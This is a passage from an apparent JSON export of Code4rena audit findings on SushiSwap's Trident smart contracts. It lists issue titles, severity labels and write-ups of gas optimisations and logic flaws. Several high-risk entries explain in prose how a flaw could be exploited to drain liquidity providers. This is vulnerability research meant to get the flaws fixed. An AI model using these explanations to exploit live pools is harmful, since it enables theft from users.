Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-findings", "body": "The functions `refundETH` and `unwrapWETH` is generalized-front-runnable"}, {"title": "Functions that can be made external", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/122", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "Functions that can be made external"}, {"title": "Consider avoiding low level calls to MasterDeployer", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/121", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Consider avoiding low level calls to MasterDeployer [Context](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/ConstantProductPool.sol#L64) The constructor uses low-level calls to the master deployer. It is more idiomatic to rely on high level solidity to deal with the calls. The difference would be additional checks on whether there is code at the specified address (additional `100` gas) and automatically performing the ABI decoding (may actually be more efficient than the manual implementation.) (Note that this call will still be `staticcall`, since `barFee` is a view function in the interface.) Example: ``` diff modified contracts/pool/ConstantProductPool.sol @@ -61,7 +61,7 @@ contract ConstantProductPool is IPool, TridentERC20 { require(_token1 != address(this), \"INVALID_TOKEN\"); require(_swapFee <= MAX_FEE, \"INVALID_SWAP_FEE\"); - (, bytes memory _barFee) = _masterDeployer.staticcall(abi.encodeWithSelector(IMasterDeployer.barFee.selector)); + barFee = IMasterDeployer(_masterDeployer).barFee(); (, bytes memory _barFeeTo) = _masterDeployer.staticcall(abi.encodeWithSelector(IMasterDeployer.barFeeTo.selector)); (, bytes memory _bento) = _masterDeployer.staticcall(abi.encodeWithSelector(IMasterDeployer.bento.selector)); @@ -72,7 +72,6 @@ contract ConstantProductPool is IPool, TridentERC20 { unchecked { MAX_FEE_MINUS_SWAP_FEE = MAX_FEE - _swapFee; } - barFee = abi.decode(_barFee, (uint256)); barFeeTo = abi.decode(_barFeeTo, (address)); bento = abi.decode(_bento, (address)); masterDeployer = _masterDeployer; ``` "}, {"title": "Use `calldata` instead of `memory` for function parameters", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "Use `calldata` instead of `memory` for function parameters"}, {"title": " Consider putting some parts of `_div` in unchecked", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/118", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Consider putting some parts of `_div` in unchecked [Context](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/IndexPool.sol#L335) ``` diff modified contracts/pool/IndexPool.sol @@ -332,7 +332,8 @@ contract IndexPool is IPool, TridentERC20 { function _div(uint256 a, uint256 b) internal pure returns (uint256 c2) { uint256 c0 = a * BASE; - uint256 c1 = c0 + (b / 2); + unchecked { uint256 tmp = b / 2; } + uint256 c1 = c0 + tmp; c2 = c1 / b; } ``` Looking at the optimized assembly generated, the unchecked version doesn't seem to have the additional check for division by zero. I'm not entirely sure why, but my guess is because of inlining. Also consider replacing the division by inline assembly. ``` solidity uint tmp; assembly { tmp := div(b, 2) } uint256 c1 = c0 + tmp; ``` The change avoids an `if` condition which checks if the divisor is zero, which the optimizer is currently unable to optimize out. The gas savings would be around 16 (reduces a `jumpi`, `push 0` and `dupN`). Since the `_div` function is called from throughout the code (also present in other contracts), this may be worth considering, although I admit this might be too much of a micro-optimization. "}, {"title": "Unused state variable `barFee` and `_barFeeTo` in IndexPool", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/117", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Unused state variable `barFee` and `_barFeeTo` in IndexPool"}, {"title": "Caching a storage load in TridentERC20", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/116", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Caching a storage load in TridentERC20 [Context](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/TridentERC20.sol#L76) This avoids an unnecessary `sload`. ``` diff modified contracts/pool/TridentERC20.sol @@ -73,8 +73,9 @@ abstract contract TridentERC20 { address recipient, uint256 amount ) external returns (bool) { - if (allowance[sender][msg.sender] != type(uint256).max) { - allowance[sender][msg.sender] -= amount; + uint _allowance = allowance[sender][msg.sender]; + if (_allowance != type(uint256).max) { + allowance[sender][msg.sender] = _allowance - amount; } balanceOf[sender] -= amount; // @dev This is safe from overflow - the sum of all user ``` "}, {"title": "Caching the storage read to `tokens.length`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/115", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle hrkrshnn # Vulnerability details ## Caching the storage read to `tokens.length` Ignoring the caching for the for-loop condition (see my other issue \"Caching the length in for loops\"), this would save an additional `sload`, around `100` gas. [Context](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/IndexPool.sol#L129). ``` diff modified contracts/pool/IndexPool.sol @@ -121,12 +121,12 @@ contract IndexPool is IPool, TridentERC20 { (address recipient, bool unwrapBento, uint256 toBurn) = abi.decode(data, (address, bool, uint256)); uint256 ratio = _div(toBurn, totalSupply); - withdrawnAmounts = new TokenAmount[](tokens.length); + uint length = tokens.length; + withdrawnAmounts = new TokenAmount[](length); _burn(address(this), toBurn); - for (uint256 i = 0; i < tokens.length; i++) { + for (uint256 i = 0; i < length; i++) { address tokenOut = tokens[i]; uint256 balance = records[tokenOut].reserve; uint120 amountOut = uint120(_mul(ratio, balance)); ``` "}, {"title": "Consider changing the `_deployData` architecture", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/114", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Consider changing the `_deployData` architecture"}, {"title": "Consider using custom errors instead of revert strings", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/113", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Consider using custom errors instead of revert strings"}, {"title": "Caching the length in for loops", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/112", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "Caching the length in for loops"}, {"title": "Inclusive check of type(uint128).max", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/107", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "Inclusive check of type(uint128).max"}, {"title": "Emit events when setting the values in constructor", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/105", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "Emit events when setting the values in constructor"}, {"title": "MAX_FEE_SQUARE dependency on MAX_FEE", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/104", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "MAX_FEE_SQUARE dependency on MAX_FEE"}, {"title": "Gas: `HybridPool._computeLiquidityFromAdjustedBalances` should return early", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/103", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle cmichel # Vulnerability details The `HybridPool._computeLiquidityFromAdjustedBalances` function should return early if `s == 0` as it will always return zero. Currently, it still performs an expensive loop iteration. ```solidity if (s == 0) { // gas: should do an early return here computed = 0; // return 0; } ``` ## Recommended Mitigation Steps Return early with a value of `0` if `s == 0`. "}, {"title": "Gas: `HybridPool` unnecessary `balance` computations", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/102", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle cmichel # Vulnerability details The `HybridPool.burn` function subtracts some computation from `balance0`/`balance1`, but the result is never used. ```solidity balance0 -= _toShare(token0, amount0); balance1 -= _toShare(token1, amount1); ``` ## Recommended Mitigation Steps Unless it is used as an underflow check, the computation should be removed the result is not used. "}, {"title": "`HybridPool`'s reserve is converted to \"amount\" twice", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/101", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle cmichel # Vulnerability details The `HybridPool`'s reserves are stored as Bento \"amounts\" (not Bento shares) in `_updateReserves` because `_balance()` converts the current share balance to amount balances. However, when retrieving the `reserve0/1` storage fields in `_getReserves`, they are converted to amounts a second time. ## Impact The `HybridPool` returns wrong reserves which affects all minting/burning and swap functions. They all return wrong results making the pool eventually economically exploitable or leading to users receiving less tokens than they should. ## POC Imagine the current Bento amount / share price being `1.5`. The pool's Bento _share_ balance being `1000`. `_updateReserves` will store a reserve of `1.5 * 1000 = 1500`. When anyone trades using the `swap` function, `_getReserves()` is called and multiplies it by `1.5` again, leading to using a reserve of 2250 instead of 1500. A higher reserve for the output token leads to receiving more tokens as the swap output. Thus the pool lost tokens and the LPs suffer this loss. ## Recommended Mitigation Steps Make sure that the reserves are in the correct amounts. "}, {"title": "`HybridPool`'s `flashSwap` does not always call callback", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/100", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle cmichel # Vulnerability details The `HybridPool.flashSwap` function skips the `tridentSwapCallback` callback call if `data.length == 0`. ## Impact It should never skip the callback, otherwise the `flashSwap` function is useless. Note that this behavior of the `HybridPool` is not in alignment with the `flashSwap` behavior of all other pools that indeed always call the callback. ## Recommended Mitigation Steps Always make the call to `ITridentCallee(msg.sender).tridentSwapCallback(data);`, regardless of the `data` variable. "}, {"title": "`HybridPool`'s `flashSwap` sends entire fee to `barFeeTo`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/99", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle cmichel # Vulnerability details The `HybridPool.flashSwap` function sends the entire trade fees `fee` to the `barFeeTo`. It should only send `barFee * fee` to the `barFeeTo` address. ## Impact LPs are not getting paid at all when this function is used. There is no incentive to provide liquidity. ## Recommended Mitigation Steps The `flashSwap` function should use the same fee mechanism as `swap` and only send `barFee * fee / MAX_FEE` to the `barFeeTo`. See `_handleFee` function. "}, {"title": "`HybridPool` missing positive token amount checks for initial mint", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/97", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "`HybridPool` missing positive token amount checks for initial mint"}, {"title": "`ConstantProductPool.burnSingle` swap amount computations should use balance", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/96", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle cmichel # Vulnerability details The `ConstantProductPool.burnSingle` function is basically a `burn` followed by a `swap` and must therefore act the same way as calling these two functions sequentially. The token amounts to redeem (`amount0`, `amount1`) are computed on the **balance** (not the reserve). However, the swap amount is then computed on the **reserves** and not the balance. The `burn` function would have updated the `reserve` to the balances and therefore `balance` should be used here: ```solidity amount1 += _getAmountOut(amount0, _reserve0 - amount0, _reserve1 - amount1); ``` > \u26a0\ufe0f The same issue occurs in the `HybridPool.burnSingle`. ## Impact For a burn, usually the `reserve` should equal the `balance`, however if any new tokens are sent to the contract and `balance > reserve`, this function will return slightly less swap amounts. ## Recommended Mitigation Steps Call `_getAmountOut` with the balances instead of the reserves: `_getAmountOut(amount0, balance0 - amount0, balance1 - amount1)` "}, {"title": "`ConstantProductPool` mint liquidity computation should include fees", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/95", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle cmichel # Vulnerability details The `ConstantProductPool` computes optimal balanced LP using `_nonOptimalMintFee`, which performs something like a swap. The returned swap fees should be included in the \"`k`\" computation as `_handleFees` uses the growth in `k` to estimate the swap fees. ```solidity // should not reduce fee0 and fee1 uint256 computed = TridentMath.sqrt((balance0 - fee0) * (balance1 - fee1)); ``` > \u26a0\ufe0f The same issue occurs in the `HybridPool.mint`. ## Impact The non-optimal mint swap fees are not taken into account. ## Recommended Mitigation Steps Compute `sqrt(k)` on the `balance0 * balance1` without deducting the swap fees. "}, {"title": "`ConstantProductPool` bar fee computation seems wrong", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/94", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "`ConstantProductPool` bar fee computation seems wrong"}, {"title": "`ConstantProductPool.getAmountOut` does not verify token", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/93", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "# Handle cmichel # Vulnerability details The `ConstantProductPool.getAmountOut` function does not verify that `tokenIn == token1` in the `else` branch. This is done everywhere else though (see `swap` and `flashSwap`) and should be done here as well. ## Impact The function can be called with a token that is not any of the pool tokens. ## Recommended Mitigation Steps Add the missing check. "}, {"title": "Several low-level calls don't check the success return value", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/91", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Several low-level calls don't check the success return value"}, {"title": "`withdrawFromWETH` always reverts ", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/90", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle cmichel # Vulnerability details The `TridentHelper.withdrawFromWETH` (used in `TridentRouter.unwrapWETH`) function performs a low-level call to `WETH.withdraw(amount)`. It then checks if the return `data` length is more or equal to `32` bytes, however `WETH.withdraw` returns `void` and has a return value of `0`. Thus, the function always reverts even if `success == true`. ```solidity function withdrawFromWETH(uint256 amount) internal { // @audit WETH.withdraw returns nothing, data.length always zero. this always reverts require(success && data.length >= 32, \"WITHDRAW_FROM_WETH_FAILED\"); } ``` ## Impact The `unwrapWETH` function is broken and makes all transactions revert. Batch calls to the router cannot perform any unwrapping of WETH. ## Recommended Mitigation Steps Remove the `data.length >= 32` from the require and only check if `success` is true. "}, {"title": "`_depositToBentoBox` sometimes uses both ETH and WETH", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/89", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "`_depositToBentoBox` sometimes uses both ETH and WETH"}, {"title": "Router's `complexPath` percentagePaths don't work as expected", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-findings", "body": "Router's `complexPath` percentagePaths don't work as expected"}, {"title": "TridentERC20 does not emit Approval event in `transferFrom`", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/86", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "TridentERC20 does not emit Approval event in `transferFrom`"}, {"title": "`IndexPool` should check that tokens are supported", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/82", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "`IndexPool` should check that tokens are supported"}, {"title": "IndexPool initial LP supply computation is wrong", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/78", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle cmichel # Vulnerability details The `IndexPool.constructor` function already mints `INIT_POOL_SUPPLY = 100 * 1e18 = 1e20` LP tokens to the zero address. When trying to use the pool, someone has to provide the actual initial reserve tokens in `mint`. On the first `mint`, the pool reserves are zero and the token amount required to mint is just this `ratio` itself: `uint120 amountIn = reserve != 0 ? uint120(_mul(ratio, reserve)) : ratio;` Note that the `amountIn` is **independent of the token** which does not make much sense. This implies that all tokens must be provided in equal \"raw amounts\", regardless of their decimals and value. ## POC #### Issue 1 Imagine I want to create a DAI/WBTC pool. If I want to initialize the pool with 100$ of DAI, `amountIn = ratio` needs to be `100*1e18=1e20` as DAI has 18 decimals. However, I now also need to supply `1e20` of WBTC (which has 8 decimals) and I'd need to pay `1e20/1e8 * priceOfBTC`, over a quadrillion dollars to match it with the 100$ of DAI. #### Issue 2 Even in a pool where all tokens have the same decimals and the same value, like `USDC <> USDT`, it leads to issues: - Initial minter calls `mint` with `toMint = 1e20` which sets `ratio = 1e20 * 1e18 / 1e20 = 1e18` and thus `amountIn = 1e18` as well. The total supply increases to `2e20`. - Second minter needs to pay **less** tokens to receive the same amount of `1e18` LP tokens as the first minter. This should never be the case. `toMint = 1e20` => `ratio = 1e20 * 1e18 / 2e20 = 0.5e18`. Then `amountIn = ratio * reserve / 1e18 = 0.5*reserve = 0.5e18`. They only pay half of what the first LP provider had to pay. ## Impact It's unclear why it's assumed that the pool's tokens are all in equal value - this is _not_ a StableSwap-like pool. Any pool that uses tokens that don't have the same value and share the same decimals cannot be used because initial liquidity cannot be provided in an economically justifiable way. It also leads to issues where the second LP supplier has to pay **less tokens** to receive the exact same amount of LP tokens that the initial minter receives. They can steal from the initial LP provider by burning these tokens again. ## Recommended Mitigation Steps Do not mint the initial token supply to the zero address in the constructor. Do it like Uniswap/Balancer and let the first liquidity provider provide arbitrary token amounts, then mint the initial pool supply. If `reserve == 0`, `amountIn` should just take the pool balances that were transferred to this account. In case the initial mint to the zero address in the constructor was done to prevent the \"Uniswap-attack\" where the price of a single wei of LP token can be very high and price out LPs, send a small fraction of this initial LP supply (~1000) to the zero address **after** it was minted to the first supplier in `mint`. "}, {"title": "Unsafe cast in IndexPool mint leads to attack", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/77", "labels": ["bug", "3 (High Risk)"], "target": "2021-09-sushitrident-findings", "body": "Unsafe cast in IndexPool mint leads to attack"}, {"title": "TridentRouter.isWhiteListed() Misleading name", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/76", "labels": ["bug", "sponsor acknowledged", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "TridentRouter.isWhiteListed() Misleading name"}, {"title": "`IndexPool.mint` The first liquidity provider is forced to supply assets in the same amount, which may cause a significant amount of fund loss", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/72", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-09-sushitrident-findings", "body": "`IndexPool.mint` The first liquidity provider is forced to supply assets in the same amount, which may cause a significant amount of fund loss"}, {"title": "Router would fail when adding liquidity to index Pool", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/68", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle broccoli # Vulnerability details ## Impact TridentRouter is easy to fail when trying to provide liquidity to an index pool. Users would not get extra lp if they are not providing lp at the pool's spot price. It's the same design as uniswap v2. However, uniswap's v2 handle's the dirty part. [UniswapV2Router02.sol#L61-L76](https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router02.sol#L61-L76) Users would not lose tokens if they use the router. However, the router wouldn't stop users from transferring extra tokens. [TridentRouter.sol#L168-L190](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/TridentRouter.sol#L168-L190) Second, the price would possibly change when the transaction is confirmed. This would be reverted in the index pool. Users would either transfer extra tokens or fail. I consider this is a medium-risk issue. ## Proof of Concept [TridentRouter.sol#L168-L190](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/TridentRouter.sol#L168-L190) A possible scenario: There's a BTC/USD pool. BTC = 50000 USD. 1. A user sends a transaction to transfer 1 BTC and 50000 USD. 2. After the user send a transaction, a random bot buying BTC with USD. 3. The transaction at step 1 is mined. Since the BTC price is not 50000 USD, the transaction fails. ## Tools Used None ## Recommended Mitigation Steps Please refer to the uniswap v2 router. [UniswapV2Router02.sol#L61-L76](https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router02.sol#L61-L76) The router should calculate the optimal parameters for users. "}, {"title": "Caching in local variables can save gas ", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Caching in local variables can save gas "}, {"title": "Avoiding initialization of loop index can save a little gas", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/64", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Avoiding initialization of loop index can save a little gas"}, {"title": "Use of unchecked can save gas where computation is known to be overflow/underflow safe", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Use of unchecked can save gas where computation is known to be overflow/underflow safe"}, {"title": "Unused code can be removed to save gas", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/61", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Unused code can be removed to save gas"}, {"title": "Replace multiple calls with a single new function call", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/60", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Replace multiple calls with a single new function call"}, {"title": "Missing contract existence check may cause silent failures of token transfers", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/59", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-findings", "body": "Missing contract existence check may cause silent failures of token transfers"}, {"title": "Allowing direct single-step ownership transfer even as an option is risky", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/58", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Allowing direct single-step ownership transfer even as an option is risky"}, {"title": "Timelock between new owner transfer+claim will reduce risk", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/57", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Timelock between new owner transfer+claim will reduce risk"}, {"title": "Unconditional setting of boolean/address values is risky", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/56", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Unconditional setting of boolean/address values is risky"}, {"title": "Missing timelock for critical contract setters of privileged roles", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/55", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Missing timelock for critical contract setters of privileged roles"}, {"title": "Missing zero-address checks", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/52", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Missing zero-address checks"}, {"title": "Use of ecrecover is susceptible to signature malleability", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/51", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-09-sushitrident-findings", "body": "Use of ecrecover is susceptible to signature malleability"}, {"title": "Unlocked Solidity compiler pragma is risky", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/49", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-09-sushitrident-findings", "body": "Unlocked Solidity compiler pragma is risky"}, {"title": "Similarly initialized weight thresholds may cause unexpected deployment failures", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/48", "labels": ["bug", "sponsor disputed", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "Similarly initialized weight thresholds may cause unexpected deployment failures"}, {"title": "Strict bound in reserve check of Hybrid Pool", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/47", "labels": ["bug", "duplicate", "1 (Low Risk)"], "target": "2021-09-sushitrident-findings", "body": "Strict bound in reserve check of Hybrid Pool"}, {"title": "barFee handled incorrectly in flashSwap (or swap)", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/46", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "barFee handled incorrectly in flashSwap (or swap)"}, {"title": "Missing invalid token check against pool address", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/45", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "Missing invalid token check against pool address"}, {"title": "Unused constants could indicate missing logic or redundant code", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/43", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "# Handle 0xRajeev # Vulnerability details ## Impact Constants MAX_FEE_SQUARE and E18 are declared but never used. Unused constants could indicate missing logic or redundant code. In this case, they are likely to be redundant code that can be removed. ## Proof of Concept https://github.com/sushiswap/trident/blob/504e2e2f3929175eb7adc73844c381d5174e1c03/contracts/pool/ConstantProductPool.sol#L25 https://github.com/sushiswap/trident/blob/504e2e2f3929175eb7adc73844c381d5174e1c03/contracts/pool/ConstantProductPool.sol#L26 ## Tools Used Manual Analysis ## Recommended Mitigation Steps Evaluate the use of the declared constants or remove them. "}, {"title": "TridentOwnable: pendingOwner should be set to address(1) if direct owner transfer is used", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "TridentOwnable: pendingOwner should be set to address(1) if direct owner transfer is used"}, {"title": "IndexPool: Redundant MAX_WEIGHT", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "IndexPool: Redundant MAX_WEIGHT"}, {"title": "IndexPool: Poor conversion from Balancer V1's corresponding functions", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/40", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "IndexPool: Poor conversion from Balancer V1's corresponding functions"}, {"title": "HybridPool: SwapCallback should be done regardless of data.length", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/39", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-09-sushitrident-findings", "body": "HybridPool: SwapCallback should be done regardless of data.length"}, {"title": "ConstantProductPool: Unnecessary mod before casting to uint32", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/37", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle GreyArt # Vulnerability details ## Impact Gas optimisation. Casting something of uint256 to uint32 has the same effect as mod since it will wrap around when it overflows. You need to ensure that unchecked math is used otherwise it will revert. ## Recommended Mitigation Steps [Line 294 of ConstantProductPool.sol](https://github.com/sushiswap/trident/blob/9130b10efaf9c653d74dc7a65bde788ec4b354b5/contracts/pool/ConstantProductPool.sol#L294) ```jsx function _update( uint256 balance0, uint256 balance1, uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast ) internal { require(balance0 <= type(uint112).max && balance1 <= type(uint112).max, \"OVERFLOW\"); if (blockTimestampLast == 0) { // @dev TWAP support is disabled for gas efficiency. reserve0 = uint112(balance0); reserve1 = uint112(balance1); } else { unchecked { // changes starts here uint32 blockTimestamp = uint32(block.timestamp); } // changes end here ... } emit Sync(balance0, balance1); } ``` "}, {"title": "ConstantProductPool: Move minting of MIN_LIQUIDITY after checks", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/35", "labels": ["bug", "sponsor confirmed", "0 (Non-critical)"], "target": "2021-09-sushitrident-findings", "body": "# Handle GreyArt # Vulnerability details ### Impact L102: `_mint(address(0), MINIMUM_LIQUIDITY);` should be shifted after the if / else block to L110 because of further checks done in L106, and L108-L109. This would help save gas should the checks mentioned fail. ### Recommended Mitigation Steps ```jsx if (msg.sender == migrator) { liquidity = IMigrator(migrator).desiredLiquidity(); require(liquidity != 0 && liquidity != type(uint256).max, \"BAD_DESIRED_LIQUIDITY\"); } else { require(migrator == address(0), \"ONLY_MIGRATOR\"); liquidity = computed - MINIMUM_LIQUIDITY; } _mint(address(0), MINIMUM_LIQUIDITY); ``` "}, {"title": "ConstantProductPool & HybridPool: Adding and removing unbalanced liquidity yields slightly more tokens than swap", "html_url": "https://github.com/code-423n4/2021-09-sushitrident-findings/issues/34", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-09-sushitrident-findings", "body": "# Handle GreyArt # Vulnerability details ### Impact A mint fee is applied whenever unbalanced liquidity is added, because it is akin to swapping the 